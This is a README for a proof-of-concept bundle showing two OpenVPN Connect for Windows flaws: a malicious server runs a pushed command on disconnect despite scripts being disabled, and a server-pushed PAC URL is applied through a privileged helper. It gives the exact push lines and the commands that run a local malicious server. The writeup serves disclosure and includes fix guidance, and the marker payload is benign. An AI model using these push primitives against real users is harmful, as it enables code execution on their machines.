exploitarium/openvpn-connect-echo-script-ace-poc/README.md

OpenVPN Connect Server-Pushed Option Findings PoC

Benign proof of concept bundle for two locally verified OpenVPN Connect for Windows behaviors reachable from a malicious VPN server after a victim imports and connects to an .ovpn profile.

This repository is intentionally marker-only. It does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell.

Findings

Finding 1: Echo Script Permission Bypass to Current-User ACE

A malicious OpenVPN server can push an echo option that decodes into script.win.user.disconnect. OpenVPN Connect later executes that command on disconnect even though the imported profile's script permission state remains unset or false.

Server primitive:

push "echo 0:0:<base64(script.win.user.disconnect)>.<base64(command)>"

Verified impact:

• Current-user arbitrary command execution on VPN disconnect.
• Import alone is not enough. The client must connect, receive the pushed echo value, and then disconnect.
• The default payload writes %TEMP%\openvpn_connect_echo_script_ace_marker.txt.

Observed permission state during local verification:

scriptsPermissionGranted=false
scriptsPermissionLocked=false

Finding 2: Server-Pushed PAC Auto-Config State Control

A malicious OpenVPN server can push dhcp-option PROXY_AUTO_CONFIG_URL. OpenVPN Connect passes the pushed PAC URL through the privileged /tun-setup path, and the LocalSystem agent applies the proxy action by impersonating the current user. During the VPN session, HKCU Internet Settings receives the server-controlled AutoConfigURL; OpenVPN Connect clears it on disconnect.

Server primitive:

push "dhcp-option PROXY_AUTO_CONFIG_URL http://127.0.0.1:18080/openvpn-connect-ace.pac"

Verified impact:

• Server-controlled PAC URL is applied while connected.
• The state change is transient and is cleaned up on disconnect in the tested build.
• This is not a SYSTEM shell. It is a separate server-controlled client state modification through the privileged OpenVPN Connect helper path.

Registry state observed in local verification:

Before connect: AutoConfigURL=null, ProxyEnable=0
During connect: AutoConfigURL=http://127.0.0.1:18080/codex-openvpn-connect.pac, ProxyEnable=0
After disconnect: AutoConfigURL=null, ProxyEnable=0

Relevant log indicators:

0 [dhcp-option] [PROXY_AUTO_CONFIG_URL] [http://127.0.0.1:18080/codex-openvpn-connect.pac]
/tun-setup proxy_auto_config_url.url=http://127.0.0.1:18080/codex-openvpn-connect.pac
ProxyAction: auto config: http://127.0.0.1:18080/codex-openvpn-connect.pac

Tested Target

• OpenVPN Connect for Windows 3.8.0 (4528)
• OpenVPN core 3.11.3
• Windows desktop target

Follow-up local checks also showed that code running as the current user inside the genuine OpenVPNConnect.exe process can reach LocalSystem helper/agent named-pipe handlers that reject arbitrary external clients. That is useful escalation context for impact analysis, but it is not presented here as standalone SYSTEM RCE.

Repository Layout

.
|-- README.md
|-- poc.py
|-- certs/
|   |-- ca.crt
|   |-- server.crt
|   |-- server.key
|   |-- client.crt
|   `-- client.key
`-- runtime/

runtime/ is generated locally and git-ignored. The certificates are throwaway lab material only. Do not reuse them for a real VPN.

Requirements

• Python 3.9+
• OpenVPN 2.x community binary for the local test server
• OpenVPN Connect installed on the Windows target

The PoC uses Python and cmd.exe only. There is no .ps1 runner.

If openvpn.exe is not on PATH, pass it explicitly:

python poc.py --mode server --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

Quick Start

Build the echo-script ACE configs:

python poc.py --mode build --finding echo-script

Build the PAC auto-config configs:

python poc.py --mode build --finding proxy-auto-config

Generated files are written under runtime/. The client .ovpn file is the profile to import into OpenVPN Connect. The server .ovpn file is used by the local malicious OpenVPN 2.x test server.

Manual Reproduction: Echo Script ACE

Start the local malicious server:

python poc.py --mode server --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

Then:

1. Import runtime\client_echo_script_poc.ovpn into OpenVPN Connect.
2. Connect to the imported 127.0.0.1 profile.
3. Disconnect normally.
4. Check the marker path printed by poc.py.

Expected marker content:

OPENVPN_CONNECT_ECHO_SCRIPT_ACE

Manual Reproduction: PAC Auto-Config

Start the local malicious server:

python poc.py --mode server --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

Then:

1. Import runtime\client_proxy_auto_config_poc.ovpn into OpenVPN Connect.

2. Connect to the imported 127.0.0.1 profile.

3. While connected, inspect the PAC registry value:

   reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
   

4. Disconnect normally.

5. Query the same value again and confirm cleanup.

Expected during connection:

AutoConfigURL    REG_SZ    http://127.0.0.1:18080/openvpn-connect-ace.pac

Expected after disconnect:

ERROR: The system was unable to find the specified registry key or value.

Automated Local Reproduction

Echo-script ACE:

python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

PAC auto-config:

python poc.py --mode auto --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe"

If OpenVPN Connect is installed elsewhere:

python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" --connect "C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe"

auto mode imports a disposable profile, connects, captures the relevant marker or proxy state, disconnects, removes the profile, and quits the test-launched Connect process.

Evidence To Capture

For Finding 1:

• Generated runtime\server.ovpn push line containing echo 0:0:.
• OpenVPN Connect log line showing 0 [echo] [0:0:...].
• Marker file %TEMP%\openvpn_connect_echo_script_ace_marker.txt.
• Profile state showing script permissions unset or false.

For Finding 2:

• Generated runtime\server.ovpn push line containing dhcp-option PROXY_AUTO_CONFIG_URL.
• OpenVPN Connect log line showing 0 [dhcp-option] [PROXY_AUTO_CONFIG_URL].
• /tun-setup log data containing proxy_auto_config_url.url.
• Agent log line showing ProxyAction: auto config.
• HKCU Internet Settings AutoConfigURL before connect, during connect, and after disconnect.

Limits

This PoC does not prove SYSTEM RCE, silent local privilege escalation, persistence, credential access, arbitrary protected-file write, service tampering, or reverse shell execution.

Finding 1 proves current-user command execution from a malicious server-controlled option on disconnect.

Finding 2 proves server-controlled PAC state while connected. Depending on product design and user consent expectations, this may be treated as intended VPN server functionality, a missing visibility/consent issue, or an abuse primitive that matters when chained with the trusted-client helper boundary.

Fix Direction

For Finding 1:

• Do not execute decoded script.* echo data unless the corresponding profile script permission flag is explicitly granted.
• Treat server-pushed script-bearing echo data as executable configuration.
• Prompt before enabling or running any script received from a VPN server.
• Reject or ignore pushed script keys when profile policy disallows scripts.
• Add regression coverage for script.win.user.disconnect where scriptsPermissionGranted=false.

For Finding 2:

• Make server-pushed proxy/PAC state visible before or during connection.
• Provide policy controls to reject server-pushed proxy configuration from untrusted profiles.
• Ensure cleanup is reliable across disconnect, crash, reconnect, sleep, and agent restart cases.
• Log the origin of the server-pushed PAC URL clearly enough for incident review.

Responsible Use

Use this only on systems you own or are explicitly authorized to test. Keep public demonstrations benign.